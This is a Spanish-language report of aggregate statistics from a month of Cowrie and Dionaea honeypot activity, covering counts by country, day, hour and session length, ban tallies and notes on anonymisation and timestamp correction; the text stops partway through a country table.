Análisis del señuelo

2026-08-22 11:20 a 2026-09-21 10:22 · generado el 2026-09-21 10:57 UTC desde respaldo

Todo lo que sigue es OBSERVADO: sale de contar los registros y se puede volver a comprobar en el mismo fichero. La columna ATT&CK es la única inferida, y sale de ANALISIS/ttp.tsv. Ninguna muestra se ha ejecutado: de los binarios solo se lee el contenido para calcular su hash.
Informe anonimizado. Cada IP de internet se ha cambiado por una etiqueta con su país (<IP-PAÍS-NNN>): la misma IP lleva la misma etiqueta en todo el informe, y el número no dice nada más. Las del señuelo van como [IP VPS]. Sin rutas locales y sin el cuerpo de 1 clave privada.

Todas las fechas y horas de este informe van en UTC, incluidas las de las tablas. Cowrie firma sus marcas con una "Z", pero escribe la hora local del contenedor, así que se reinterpretan como Europe/Kyiv y se convierten a UTC al leerlas; sin esa corrección, las marcas saldrían corridas y con pinta de correctas. Dionaea sí guarda UTC de verdad.

1. Lo que este informe no puede saber

67 sesiones y 260 órdenes son NUESTRAS y se han descartado. Vienen de 172.20.0.1, que no es una dirección de internet, sino el propio señuelo hablando consigo mismo: al probarlo desde la VPS, la conexión entra por la puerta de enlace del puente de Docker y Cowrie la anota como una sesión más, con sus logins y sus órdenes. No es un ataque y no cuenta en nada de lo que sigue. El reporter ya las descartaba por su cuenta (ipguard), así que nunca se ha denunciado a nadie por esto.

2. Resumen

Cuánto llegó. Una participación es un contacto con cualquiera de los dos señuelos, y el total es la suma de los dos: 1.219.272 en total.

Cowrie y Dionaea los dos señuelos, cada parte en su propia unidad

sesiones en Cowrie (SSH y Telnet): 903.579 (74,1%)conexiones a Dionaea (SMB, MSSQL, RPC): 315.693 (25,9%)903.579 sesiones en Cowrie (SSH y Telnet) (74,1%)315.693 conexiones a Dionaea (SMB, MSSQL, RPC) (25,9%)

Qué hicieron. Esta es la cifra que separa la actividad real del ruido de fondo. Las dos proporciones van aparte porque no están en la misma unidad: una cuenta sesiones y la otra intentos de credencial.

Solo Cowrie la barra entera son sus 903.579 sesiones: Dionaea no emula ningún shell y ahí no hay nada que teclear

sesiones que llegaron a teclear algo: 34.996 (3,9%)se fueron sin teclear nada: 868.583 (96,1%)34.996 sesiones que llegaron a teclear algo (3,9%)868.583 se fueron sin teclear nada (96,1%)

Solo Cowrie es el único del que se cuentan logins; de Dionaea solo se cuentan conexiones

intentos de login que acertaron: 1.870 (1,3%)intentos fallidos: 141.598 (98,7%)1.870 intentos de login que acertaron (1,3%)141.598 intentos fallidos (98,7%)

Quién. Cuántas IPs distintas hay detrás de esas participaciones. Una IP distinta es una dirección, participe una vez o mil.

Qué hicimos nosotros. La única cifra del resumen que no habla de los atacantes, sino de nuestra reacción: 115 IPs baneadas , según la memoria del bot.

Cortafuegos de dónde salió cada baneo lo dice el comentario de la regla en nftables, no la memoria del bot: ahí banned es una lista sin más

puestas automáticamente por el vigilante: 98 (85,2%)puestas a mano desde Telegram: 5 (4,3%)con la etiqueta antigua, sin saber quién: 11 (9,6%)que el bot recuerda y ya no están en el cortafuegos: 1 (0,9%)98 puestas automáticamente por el vigilante (85,2%)5 puestas a mano desde Telegram (4,3%)11 con la etiqueta antigua, sin saber quién (9,6%)1 que el bot recuerda y ya no está en el cortafuegos (0,9%)

Lo que de verdad dicen esos números:

De esos 154 países, 19 aparecen con una sola IP y no salen en ninguna tabla ni en ningún esquema: los de arriba se llevan el volumen, pero la lista larga también atacó. Y 1 no se ha podido localizar.

2.1  Todos los países que han atacado

Elige cómo ordenarlo:

🇦🇱 Albania7175
🇩🇪 Alemania386142
🇩🇿 Argelia240
🇦🇩 Andorra112.822
🇦🇴 Angola50
🇦🇮 Anguila20
🇸🇦 Arabia Saudí2046
🇦🇷 Argentina438238
🇦🇲 Armenia2934
🇦🇺 Australia300
🇦🇹 Austria121
🇦🇿 Azerbaiyán2848
🇧🇩 Bangladés911
🇧🇧 Barbados10
🇧🇭 Baréin80
🇧🇾 Bielorrusia2214
🇲🇲 Birmania500
🇧🇴 Bolivia330
🇧🇦 Bosnia y Herzegovina40
🇧🇼 Botsuana20
🇧🇷 Brasil370290
🇧🇳 Brunéi10
🇧🇬 Bulgaria2343
🇧🇫 Burkina Faso60
🇧🇮 Burundi10
🇧🇪 Bélgica18434
🇰🇭 Camboya80
🇨🇲 Camerún50
🇨🇦 Canadá13948
🇧🇶 Caribe Neerlandés10
🇶🇦 Catar30
🇨🇿 Chequia41422
🇨🇱 Chile1030
🇨🇳 China821116.822
🇨🇾 Chipre70
🇨🇴 Colombia8980
🇰🇲 Comoras10
🇨🇬 Congo50
🇰🇷 Corea del Sur1161.133
🇨🇷 Costa Rica70
🇨🇮 Costa de Marfil81
🇭🇷 Croacia30
🇨🇺 Cuba70
🇨🇼 Curazao10
🇩🇰 Dinamarca90
🇪🇨 Ecuador540
🇪🇬 Egipto8135
🇸🇻 El Salvador100
🇦🇪 Emiratos Árabes Unidos200
🇪🇷 Eritrea10
🇸🇰 Eslovaquia80
🇸🇮 Eslovenia41614
🇪🇸 España6330
🇺🇸 Estados Unidos1.4436.582
🇪🇪 Estonia923
🇪🇹 Etiopía17196
🇵🇭 Filipinas670
🇫🇮 Finlandia2610
🇫🇷 Francia200203
🇬🇦 Gabón40
🇬🇲 Gambia10
🇬🇪 Georgia2482
🇬🇭 Ghana60
🇬🇷 Grecia90
🇬🇹 Guatemala50
🇭🇳 Honduras20
🇭🇰 Hong Kong129180
🇭🇺 Hungría20149
🇮🇳 India38390
🇮🇩 Indonesia34156
🇮🇶 Irak350
🇮🇪 Irlanda102
🇮🇷 Irán105245
🇮🇸 Islandia10
🇻🇮 Islas Vírgenes de EE. UU.10
🇮🇱 Israel3494
🇮🇹 Italia931.154
🇯🇲 Jamaica20
🇯🇵 Japón42429
🇯🇪 Jersey250
🇯🇴 Jordania510
🇰🇿 Kazajistán550
🇰🇪 Kenia400
🇰🇬 Kirguistán81
🇰🇼 Kuwait30
🇱🇦 Laos51
🇱🇻 Letonia120
🇱🇾 Libia323
🇱🇹 Lituania180
🇱🇺 Luxemburgo70
🇱🇧 Líbano50
🇲🇴 Macao124
🇲🇰 Macedonia del Norte937
🇲🇬 Madagascar40
🇲🇾 Malasia48495
🇲🇼 Malaui40
🇲🇹 Malta268
🇲🇱 Malí10
🇲🇦 Marruecos440
🇲🇺 Mauricio10
🇲🇷 Mauritania10
🇲🇩 Moldavia130
🇲🇳 Mongolia70
🇲🇿 Mozambique40
🇲🇽 México1588
🇳🇵 Nepal110
🇳🇮 Nicaragua40
🇳🇬 Nigeria620
🇳🇴 Noruega90
🇳🇿 Nueva Zelanda610
🇴🇲 Omán110
🇵🇰 Pakistán330417.669
🇵🇸 Palestina120
🇵🇦 Panamá100
🇵🇾 Paraguay361
🇳🇱 Países Bajos26015.822
🇵🇪 Perú241
🇵🇱 Polonia44264
🇵🇹 Portugal1895
🇵🇷 Puerto Rico833
🇬🇧 Reino Unido317161
🇨🇩 Rep. Dem. del Congo10
🇩🇴 República Dominicana171
🇷🇪 Reunión20
🇷🇼 Ruanda10
🇷🇴 Rumanía1799
🇷🇺 Rusia81310.953
🇸🇳 Senegal724
🇷🇸 Serbia1818
🇸🇨 Seychelles40
🇸🇬 Singapur731.294
🇸🇾 Siria50
🇱🇰 Sri Lanka110
🇿🇦 Sudáfrica142204
🇸🇩 Sudán10
🇸🇪 Suecia832.376
🇨🇭 Suiza1233
🇹🇭 Tailandia8738
🇹🇼 Taiwán94479
🇹🇿 Tanzania61
🇹🇯 Tayikistán20
🇹🇬 Togo100
🇹🇳 Túnez450
🇹🇷 Turquía17091
🇺🇦 Ucrania5323.980
🇺🇬 Uganda50
🇺🇾 Uruguay80
🇺🇿 Uzbekistán8271
🇻🇪 Venezuela660
🇻🇳 Vietnam245479
🇽🇰 XK30
🇾🇪 Yemen10
🇿🇲 Zambia10
🇿🇼 Zimbabue70

Destaca siempre aquello por lo que se ordena: el nombre en el orden alfabético, y la cifra correspondiente en los otros dos. Las demás cifras se quedan en gris a la derecha: se pueden comparar, pero no compiten con la que manda. La reordenación la hace el navegador con CSS, sin JavaScript: al copiar y pegar en un documento sale siempre en orden alfabético, que es como está escrito el fichero.

La memoria del bot guarda 309 guiones, 990 IPs, 111 muestras y 2 credenciales, y caduca a los 30 días con tope de 5.000 IPs. Los recuentos de arriba salen de cowrie.json, que es el que no olvida.

2.2  Cuándo han atacado más

Qué se puede ver aquí:

Decimos participaciones y no "ataques" porque lo que se registra es muy distinto entre sí: unos fallan el login y se van, otros entran y no hacen nada, y otros entran y sueltan un binario. Llamarlo "ataques" daría a entender que todos consiguieron algo. Una participación es un contacto con el señuelo: una sesión en Cowrie o una conexión en Dionaea.

Cómo se lee el gráfico:

Elige qué visualizar:

  • Total del periodo: 1.219.272 participaciones en 31 días
  • Media: 39.331 participaciones al día
  • Día más movido: 7 de septiembre, con 104.556 participaciones
  • Ese día fue 2,7 veces la media

26.13952.27878.417104.5562026-08-22: 21.50622S2026-08-23: 7.59923D2026-08-24: 7.11024L2026-08-25: 11.35625M2026-08-26: 23.05826X2026-08-27: 20.48527J2026-08-28: 17.67028V2026-08-29: 26.22229S2026-08-30: 9.21630D2026-08-31: 49.43831L2026-09-01: 59.9601M2026-09-02: 38.2992X2026-09-03: 69.9333J2026-09-04: 57.0224V2026-09-05: 49.8415S2026-09-06: 65.5636D2026-09-07: 104.5567L2026-09-08: 40.3008M2026-09-09: 30.3889X2026-09-10: 55.90910J2026-09-11: 62.21411V2026-09-12: 43.46312S2026-09-13: 48.42213D2026-09-14: 36.41014L2026-09-15: 47.04815M2026-09-16: 38.99316X2026-09-17: 29.45817J2026-09-18: 39.27718V2026-09-19: 62.38819S2026-09-20: 35.56620D2026-09-21: 10.60221Lagosto de 2026septiembre de 2026Todo el periodo que cubre el respaldo2026-08-2221.506 participaciones2026-08-237.599 participaciones2026-08-247.110 participaciones2026-08-2511.356 participaciones2026-08-2623.058 participaciones2026-08-2720.485 participaciones2026-08-2817.670 participaciones2026-08-2926.222 participaciones2026-08-309.216 participaciones2026-08-3149.438 participaciones2026-09-0159.960 participaciones2026-09-0238.299 participaciones2026-09-0369.933 participaciones2026-09-0457.022 participaciones2026-09-0549.841 participaciones2026-09-0665.563 participaciones2026-09-07104.556 participaciones2026-09-0840.300 participaciones2026-09-0930.388 participaciones2026-09-1055.909 participaciones2026-09-1162.214 participaciones2026-09-1243.463 participaciones2026-09-1348.422 participaciones2026-09-1436.410 participaciones2026-09-1547.048 participaciones2026-09-1638.993 participaciones2026-09-1729.458 participaciones2026-09-1839.277 participaciones2026-09-1962.388 participaciones2026-09-2035.566 participaciones2026-09-2110.602 participaciones

  • Total del periodo: 903.579 sesiones en 31 días
  • Media: 29.147 sesiones al día
  • Día más movido: 7 de septiembre, con 84.887 sesiones
  • Ese día fue 2,9 veces la media

21.22142.44363.66584.8872026-08-22: 20.07922S2026-08-23: 5.23423D2026-08-24: 7.11024L2026-08-25: 11.35625M2026-08-26: 23.05826X2026-08-27: 20.48527J2026-08-28: 17.65128V2026-08-29: 22.51129S2026-08-30: 8.30130D2026-08-31: 38.08431L2026-09-01: 36.9371M2026-09-02: 20.3022X2026-09-03: 41.4593J2026-09-04: 50.3094V2026-09-05: 30.1415S2026-09-06: 51.7106D2026-09-07: 84.8877L2026-09-08: 23.1018M2026-09-09: 18.4489X2026-09-10: 42.98810J2026-09-11: 37.82511V2026-09-12: 15.34112S2026-09-13: 38.09613D2026-09-14: 20.70614L2026-09-15: 41.16015M2026-09-16: 26.86216X2026-09-17: 18.40917J2026-09-18: 36.82218V2026-09-19: 56.54019S2026-09-20: 28.11120D2026-09-21: 9.55621Lagosto de 2026septiembre de 2026Todo el periodo que cubre el respaldo2026-08-2220.079 sesiones en Cowrie2026-08-235.234 sesiones en Cowrie2026-08-247.110 sesiones en Cowrie2026-08-2511.356 sesiones en Cowrie2026-08-2623.058 sesiones en Cowrie2026-08-2720.485 sesiones en Cowrie2026-08-2817.651 sesiones en Cowrie2026-08-2922.511 sesiones en Cowrie2026-08-308.301 sesiones en Cowrie2026-08-3138.084 sesiones en Cowrie2026-09-0136.937 sesiones en Cowrie2026-09-0220.302 sesiones en Cowrie2026-09-0341.459 sesiones en Cowrie2026-09-0450.309 sesiones en Cowrie2026-09-0530.141 sesiones en Cowrie2026-09-0651.710 sesiones en Cowrie2026-09-0784.887 sesiones en Cowrie2026-09-0823.101 sesiones en Cowrie2026-09-0918.448 sesiones en Cowrie2026-09-1042.988 sesiones en Cowrie2026-09-1137.825 sesiones en Cowrie2026-09-1215.341 sesiones en Cowrie2026-09-1338.096 sesiones en Cowrie2026-09-1420.706 sesiones en Cowrie2026-09-1541.160 sesiones en Cowrie2026-09-1626.862 sesiones en Cowrie2026-09-1718.409 sesiones en Cowrie2026-09-1836.822 sesiones en Cowrie2026-09-1956.540 sesiones en Cowrie2026-09-2028.111 sesiones en Cowrie2026-09-219.556 sesiones en Cowrie

  • Total del periodo: 315.693 conexiones en 31 días
  • Media: 10.183 conexiones al día
  • Día más movido: 3 de septiembre, con 28.474 conexiones
  • Ese día fue 2,8 veces la media

7.11814.23721.35528.4742026-08-22: 1.42722S2026-08-23: 2.36523D2026-08-24: 024L2026-08-25: 025M2026-08-26: 026X2026-08-27: 027J2026-08-28: 1928V2026-08-29: 3.71129S2026-08-30: 91530D2026-08-31: 11.35431L2026-09-01: 23.0231M2026-09-02: 17.9972X2026-09-03: 28.4743J2026-09-04: 6.7134V2026-09-05: 19.7005S2026-09-06: 13.8536D2026-09-07: 19.6697L2026-09-08: 17.1998M2026-09-09: 11.9409X2026-09-10: 12.92110J2026-09-11: 24.38911V2026-09-12: 28.12212S2026-09-13: 10.32613D2026-09-14: 15.70414L2026-09-15: 5.88815M2026-09-16: 12.13116X2026-09-17: 11.04917J2026-09-18: 2.45518V2026-09-19: 5.84819S2026-09-20: 7.45520D2026-09-21: 1.04621Lagosto de 2026septiembre de 2026Todo el periodo que cubre el respaldo2026-08-221.427 conexiones a Dionaea2026-08-232.365 conexiones a Dionaea2026-08-240 conexiones a Dionaea2026-08-250 conexiones a Dionaea2026-08-260 conexiones a Dionaea2026-08-270 conexiones a Dionaea2026-08-2819 conexiones a Dionaea2026-08-293.711 conexiones a Dionaea2026-08-30915 conexiones a Dionaea2026-08-3111.354 conexiones a Dionaea2026-09-0123.023 conexiones a Dionaea2026-09-0217.997 conexiones a Dionaea2026-09-0328.474 conexiones a Dionaea2026-09-046.713 conexiones a Dionaea2026-09-0519.700 conexiones a Dionaea2026-09-0613.853 conexiones a Dionaea2026-09-0719.669 conexiones a Dionaea2026-09-0817.199 conexiones a Dionaea2026-09-0911.940 conexiones a Dionaea2026-09-1012.921 conexiones a Dionaea2026-09-1124.389 conexiones a Dionaea2026-09-1228.122 conexiones a Dionaea2026-09-1310.326 conexiones a Dionaea2026-09-1415.704 conexiones a Dionaea2026-09-155.888 conexiones a Dionaea2026-09-1612.131 conexiones a Dionaea2026-09-1711.049 conexiones a Dionaea2026-09-182.455 conexiones a Dionaea2026-09-195.848 conexiones a Dionaea2026-09-207.455 conexiones a Dionaea2026-09-211.046 conexiones a Dionaea

2.3  A qué hora

Aquí importa menos la hora punta que lo parecidas que son las veinticuatro. Un reparto plano indica automatización, porque las máquinas no duermen. Si la actividad se concentrara en unas ocho horas, apuntaría a personas con horario, y eso sería lo llamativo.

Hora UTCParticipaciones en esa hora, sumando todo el periodo00:0000:00: 58.517 participaciones58.51701:0001:00: 48.108 participaciones48.10802:0002:00: 44.389 participaciones44.38903:0003:00: 49.251 participaciones49.25104:0004:00: 46.248 participaciones46.24805:0005:00: 43.670 participaciones43.67006:0006:00: 53.887 participaciones53.88707:0007:00: 38.758 participaciones38.75808:0008:00: 41.039 participaciones41.03909:0009:00: 56.120 participaciones56.12010:0010:00: 45.171 participaciones45.17111:0011:00: 43.185 participaciones43.18512:0012:00: 50.101 participaciones50.10113:0013:00: 40.621 participaciones40.62114:0014:00: 35.088 participaciones35.08815:0015:00: 51.654 participaciones51.65416:0016:00: 53.167 participaciones53.16717:0017:00: 62.898 participaciones62.89818:0018:00: 53.752 participaciones53.75219:0019:00: 63.600 participaciones63.60020:0020:00: 53.314 participaciones53.31421:0021:00: 59.266 participaciones59.26622:0022:00: 60.416 participaciones60.41623:0023:00: 67.052 participaciones67.05200:00: 58.517 participaciones01:00: 48.108 participaciones02:00: 44.389 participaciones03:00: 49.251 participaciones04:00: 46.248 participaciones05:00: 43.670 participaciones06:00: 53.887 participaciones07:00: 38.758 participaciones08:00: 41.039 participaciones09:00: 56.120 participaciones10:00: 45.171 participaciones11:00: 43.185 participaciones12:00: 50.101 participaciones13:00: 40.621 participaciones14:00: 35.088 participaciones15:00: 51.654 participaciones16:00: 53.167 participaciones17:00: 62.898 participaciones18:00: 53.752 participaciones19:00: 63.600 participaciones20:00: 53.314 participaciones21:00: 59.266 participaciones22:00: 60.416 participaciones23:00: 67.052 participaciones

2.4  Cuánto duran

Solo Cowrie Dionaea cuenta conexiones sueltas, no sesiones con principio y final; la duración es de las 902.690 sesiones de Cowrie que la traen

menos de 1 segundo: tocar y salir: 228.465 (25,3%)de 1 a 10 segundos: 620.701 (68,8%)de 10 segundos a 1 minuto: 39.497 (4,4%)más de 1 minuto: 14.027 (1,6%)228.465 menos de 1 segundo: tocar y salir (25,3%)620.701 de 1 a 10 segundos (68,8%)39.497 de 10 segundos a 1 minuto (4,4%)14.027 más de 1 minuto (1,6%)

2.5  De dónde: desde cuántos sitios distintos

Qué se puede ver aquí:

Una IP distinta es una dirección desde la que llegó al menos una participación. Si la misma dirección participa mil veces, cuenta una. Por eso esta figura mide algo distinto de la siguiente: aquí se ve desde cuántos sitios se ataca, y en la siguiente cuánto insiste cada uno.

Cómo se lee el gráfico:

Elige qué visualizar:

  • Total: 10.642 IPs distintas (los dos señuelos), en 154 países
  • No entran en la figura: 1 IP que la tabla de países no localiza
  • El que más: 🇺🇸 Estados Unidos, con 1.443 IPs
  • Quedan fuera del dibujo: 130 países con menos IPs (están todos en la lista de arriba)

US: 1.443 IPs🇺🇸 USCN: 821 IPs🇨🇳 CNRU: 813 IPs🇷🇺 RUUA: 532 IPs🇺🇦 UAAR: 438 IPs🇦🇷 ARDE: 386 IPs🇩🇪 DEIN: 383 IPs🇮🇳 INBR: 370 IPs🇧🇷 BRID: 341 IPs🇮🇩 IDPK: 330 IPs🇵🇰 PKGB: 317 IPs🇬🇧 GBNL: 260 IPs🇳🇱 NLVN: 245 IPs🇻🇳 VNFR: 200 IPs🇫🇷 FRBE: 184 IPs🇧🇪 BETR: 170 IPs🇹🇷 TRMX: 158 IPs🇲🇽 MXZA: 142 IPs🇿🇦 ZACA: 139 IPs🇨🇦 CAHK: 129 IPs🇭🇰 HKKR: 116 IPs🇰🇷 KRIR: 105 IPs🇮🇷 IRCL: 103 IPs🇨🇱 CLTW: 94 IPs🇹🇼 TW8.219 IPs usadas por 24 paísesde los 154 países en totalpor lo que no aparecen 130 paísesUS: 1.443 IPsCN: 821 IPsRU: 813 IPsUA: 532 IPsAR: 438 IPsDE: 386 IPsIN: 383 IPsBR: 370 IPsID: 341 IPsPK: 330 IPsGB: 317 IPsNL: 260 IPsVN: 245 IPsFR: 200 IPsBE: 184 IPsTR: 170 IPsMX: 158 IPsZA: 142 IPsCA: 139 IPsHK: 129 IPsKR: 116 IPsIR: 105 IPsCL: 103 IPsTW: 94 IPs

  • Total: 7.969 IPs distintas (Cowrie), en 151 países
  • El que más: 🇺🇸 Estados Unidos, con 1.114 IPs
  • Quedan fuera del dibujo: 127 países con menos IPs (están todos en la lista de arriba)

US: 1.114 IPs🇺🇸 USCN: 611 IPs🇨🇳 CNRU: 608 IPs🇷🇺 RUUA: 523 IPs🇺🇦 UAAR: 418 IPs🇦🇷 ARBR: 292 IPs🇧🇷 BRPK: 285 IPs🇵🇰 PKDE: 236 IPs🇩🇪 DEID: 227 IPs🇮🇩 IDNL: 207 IPs🇳🇱 NLIN: 191 IPs🇮🇳 INFR: 170 IPs🇫🇷 FRGB: 164 IPs🇬🇧 GBVN: 157 IPs🇻🇳 VNZA: 125 IPs🇿🇦 ZACA: 118 IPs🇨🇦 CATR: 116 IPs🇹🇷 TRKR: 113 IPs🇰🇷 KRBE: 112 IPs🇧🇪 BEMX: 99 IPs🇲🇽 MXCL: 94 IPs🇨🇱 CLHK: 91 IPs🇭🇰 HKIT: 80 IPs🇮🇹 ITUZ: 76 IPs🇺🇿 UZ6.227 IPs usadas por 24 paísesde los 151 países en totalpor lo que no aparecen 127 paísesUS: 1.114 IPsCN: 611 IPsRU: 608 IPsUA: 523 IPsAR: 418 IPsBR: 292 IPsPK: 285 IPsDE: 236 IPsID: 227 IPsNL: 207 IPsIN: 191 IPsFR: 170 IPsGB: 164 IPsVN: 157 IPsZA: 125 IPsCA: 118 IPsTR: 116 IPsKR: 113 IPsBE: 112 IPsMX: 99 IPsCL: 94 IPsHK: 91 IPsIT: 80 IPsUZ: 76 IPs

  • Total: 2.963 IPs distintas (Dionaea), en 111 países
  • No entran en la figura: 1 IP que la tabla de países no localiza
  • El que más: 🇺🇸 Estados Unidos, con 513 IPs
  • Quedan fuera del dibujo: 87 países con menos IPs (están todos en la lista de arriba)

US: 513 IPs🇺🇸 USCN: 212 IPs🇨🇳 CNRU: 208 IPs🇷🇺 RUIN: 192 IPs🇮🇳 INDE: 164 IPs🇩🇪 DEGB: 155 IPs🇬🇧 GBID: 114 IPs🇮🇩 IDVN: 88 IPs🇻🇳 VNBR: 81 IPs🇧🇷 BRBE: 73 IPs🇧🇪 BEEG: 67 IPs🇪🇬 EGCA: 64 IPs🇨🇦 CANL: 63 IPs🇳🇱 NLIR: 62 IPs🇮🇷 IRMX: 59 IPs🇲🇽 MXTR: 54 IPs🇹🇷 TRNG: 53 IPs🇳🇬 NGTH: 49 IPs🇹🇭 THPK: 45 IPs🇵🇰 PKHK: 40 IPs🇭🇰 HKTW: 39 IPs🇹🇼 TWFR: 37 IPs🇫🇷 FRBD: 31 IPs🇧🇩 BDPH: 31 IPs🇵🇭 PH2.494 IPs usadas por 24 paísesde los 111 países en totalpor lo que no aparecen 87 paísesUS: 513 IPsCN: 212 IPsRU: 208 IPsIN: 192 IPsDE: 164 IPsGB: 155 IPsID: 114 IPsVN: 88 IPsBR: 81 IPsBE: 73 IPsEG: 67 IPsCA: 64 IPsNL: 63 IPsIR: 62 IPsMX: 59 IPsTR: 54 IPsNG: 53 IPsTH: 49 IPsPK: 45 IPsHK: 40 IPsTW: 39 IPsFR: 37 IPsBD: 31 IPsPH: 31 IPs

2.6  Quién trabaja de verdad

Qué se puede ver aquí:

Una orden es cada línea que el atacante teclea ya dentro del señuelo. Una conexión es cada vez que se toca un puerto de Dionaea. Son cosas distintas y no se pueden comparar entre sí, pero sí se pueden sumar para saber qué país está más activo, y por eso el total lleva el desglose en cada barra.

Cómo se lee el gráfico:

Elige qué visualizar:

  • Total: 903.154 acciones desde 118 países
  • No entran en la figura: 21 acciones de IPs que la tabla de países no localiza
  • El que más: 🇵🇰 Pakistán, con 423.761 acciones, el 47% del total
  • Y lo hace desde 330 IPs, cuando el país que más IPs usa es 🇺🇸 Estados Unidos, con 1.443
  • Quedan fuera del dibujo: 103 países con menos actividad

PaísesActividad total, Cowrie + Dionaea🇵🇰 PKPK: 423.761 acciones423.761= 417.669 órdenes en Cowrie + 6.092 conexiones a Dionaea · desde 330 IPs distintas (los dos señuelos)🇨🇳 CNCN: 164.990 acciones164.990= 116.822 órdenes en Cowrie + 48.168 conexiones a Dionaea · desde 821 IPs distintas (los dos señuelos)🇷🇺 RURU: 63.785 acciones63.785= 10.953 órdenes en Cowrie + 52.832 conexiones a Dionaea · desde 813 IPs distintas (los dos señuelos)🇮🇳 ININ: 37.694 acciones37.694= 90 órdenes en Cowrie + 37.604 conexiones a Dionaea · desde 383 IPs distintas (los dos señuelos)🇻🇳 VNVN: 21.876 acciones21.876= 479 órdenes en Cowrie + 21.397 conexiones a Dionaea · desde 245 IPs distintas (los dos señuelos)🇮🇷 IRIR: 17.383 acciones17.383= 245 órdenes en Cowrie + 17.138 conexiones a Dionaea · desde 105 IPs distintas (los dos señuelos)🇪🇬 EGEG: 17.168 acciones17.168= 35 órdenes en Cowrie + 17.133 conexiones a Dionaea · desde 81 IPs distintas (los dos señuelos)🇳🇱 NLNL: 15.988 acciones15.988= 15.822 órdenes en Cowrie + 166 conexiones a Dionaea · desde 260 IPs distintas (los dos señuelos)🇿🇦 ZAZA: 15.860 acciones15.860= 204 órdenes en Cowrie + 15.656 conexiones a Dionaea · desde 142 IPs distintas (los dos señuelos)🇮🇩 IDID: 9.891 acciones9.891= 56 órdenes en Cowrie + 9.835 conexiones a Dionaea · desde 341 IPs distintas (los dos señuelos)🇹🇷 TRTR: 9.859 acciones9.859= 91 órdenes en Cowrie + 9.768 conexiones a Dionaea · desde 170 IPs distintas (los dos señuelos)🇺🇸 USUS: 9.503 acciones9.503= 6.582 órdenes en Cowrie + 2.921 conexiones a Dionaea · desde 1.443 IPs distintas (los dos señuelos)🇧🇷 BRBR: 8.808 acciones8.808= 290 órdenes en Cowrie + 8.518 conexiones a Dionaea · desde 370 IPs distintas (los dos señuelos)🇺🇦 UAUA: 7.144 acciones7.144= 3.980 órdenes en Cowrie + 3.164 conexiones a Dionaea · desde 532 IPs distintas (los dos señuelos)🇦🇷 ARAR: 6.565 acciones6.565= 238 órdenes en Cowrie + 6.327 conexiones a Dionaea · desde 438 IPs distintas (los dos señuelos)PK: 423.761 accionesCN: 164.990 accionesRU: 63.785 accionesIN: 37.694 accionesVN: 21.876 accionesIR: 17.383 accionesEG: 17.168 accionesNL: 15.988 accionesZA: 15.860 accionesID: 9.891 accionesTR: 9.859 accionesUS: 9.503 accionesBR: 8.808 accionesUA: 7.144 accionesAR: 6.565 acciones

  • Total: 587.482 órdenes desde 72 países
  • El que más: 🇵🇰 Pakistán, con 417.669 órdenes, el 71% del total
  • Y lo hace desde 285 IPs, cuando el país que más IPs usa es 🇺🇸 Estados Unidos, con 1.114
  • Quedan fuera del dibujo: 57 países con menos actividad

PaísesActividad total, solo Cowrie🇵🇰 PKPK: 417.669 órdenes417.669órdenes en Cowrie · desde 285 IPs distintas (solo Cowrie), 76 de ellas baneadas🇨🇳 CNCN: 116.822 órdenes116.822órdenes en Cowrie · desde 611 IPs distintas (solo Cowrie), 33 de ellas baneadas🇳🇱 NLNL: 15.822 órdenes15.822órdenes en Cowrie · desde 207 IPs distintas (solo Cowrie)🇷🇺 RURU: 10.953 órdenes10.953órdenes en Cowrie · desde 608 IPs distintas (solo Cowrie), 3 de ellas baneadas🇺🇸 USUS: 6.582 órdenes6.582órdenes en Cowrie · desde 1.114 IPs distintas (solo Cowrie), 2 de ellas baneadas🇺🇦 UAUA: 3.980 órdenes3.980órdenes en Cowrie · desde 523 IPs distintas (solo Cowrie)🇦🇩 ADAD: 2.822 órdenes2.822órdenes en Cowrie · desde 11 IPs distintas (solo Cowrie)🇸🇪 SESE: 2.376 órdenes2.376órdenes en Cowrie · desde 73 IPs distintas (solo Cowrie)🇸🇬 SGSG: 1.294 órdenes1.294órdenes en Cowrie · desde 65 IPs distintas (solo Cowrie)🇮🇹 ITIT: 1.154 órdenes1.154órdenes en Cowrie · desde 80 IPs distintas (solo Cowrie)🇰🇷 KRKR: 1.133 órdenes1.133órdenes en Cowrie · desde 113 IPs distintas (solo Cowrie)🇸🇮 SISI: 614 órdenes614órdenes en Cowrie · desde 39 IPs distintas (solo Cowrie), 1 de ellas baneadas🇲🇾 MYMY: 495 órdenes495órdenes en Cowrie · desde 43 IPs distintas (solo Cowrie)🇹🇼 TWTW: 479 órdenes479órdenes en Cowrie · desde 55 IPs distintas (solo Cowrie)🇻🇳 VNVN: 479 órdenes479órdenes en Cowrie · desde 157 IPs distintas (solo Cowrie)PK: 417.669 órdenesCN: 116.822 órdenesNL: 15.822 órdenesRU: 10.953 órdenesUS: 6.582 órdenesUA: 3.980 órdenesAD: 2.822 órdenesSE: 2.376 órdenesSG: 1.294 órdenesIT: 1.154 órdenesKR: 1.133 órdenesSI: 614 órdenesMY: 495 órdenesTW: 479 órdenesVN: 479 órdenes

  • Total: 315.672 conexiones desde 111 países
  • No entran en la figura: 21 conexiones de IPs que la tabla de países no localiza
  • El que más: 🇷🇺 Rusia, con 52.832 conexiones, el 17% del total
  • Y lo hace desde 208 IPs, cuando el país que más IPs usa es 🇺🇸 Estados Unidos, con 513
  • Quedan fuera del dibujo: 96 países con menos actividad
  • Aquí no hay órdenes: Dionaea no emula ningún shell, así que lo único contable es cuántas veces se tocó un puerto

PaísesActividad total, solo Dionaea🇷🇺 RURU: 52.832 conexiones52.832conexiones a Dionaea · desde 208 IPs distintas (solo Dionaea)🇨🇳 CNCN: 48.168 conexiones48.168conexiones a Dionaea · desde 212 IPs distintas (solo Dionaea)🇮🇳 ININ: 37.604 conexiones37.604conexiones a Dionaea · desde 192 IPs distintas (solo Dionaea)🇻🇳 VNVN: 21.397 conexiones21.397conexiones a Dionaea · desde 88 IPs distintas (solo Dionaea)🇮🇷 IRIR: 17.138 conexiones17.138conexiones a Dionaea · desde 62 IPs distintas (solo Dionaea)🇪🇬 EGEG: 17.133 conexiones17.133conexiones a Dionaea · desde 67 IPs distintas (solo Dionaea)🇿🇦 ZAZA: 15.656 conexiones15.656conexiones a Dionaea · desde 17 IPs distintas (solo Dionaea)🇮🇩 IDID: 9.835 conexiones9.835conexiones a Dionaea · desde 114 IPs distintas (solo Dionaea)🇹🇷 TRTR: 9.768 conexiones9.768conexiones a Dionaea · desde 54 IPs distintas (solo Dionaea)🇧🇷 BRBR: 8.518 conexiones8.518conexiones a Dionaea · desde 81 IPs distintas (solo Dionaea)🇦🇷 ARAR: 6.327 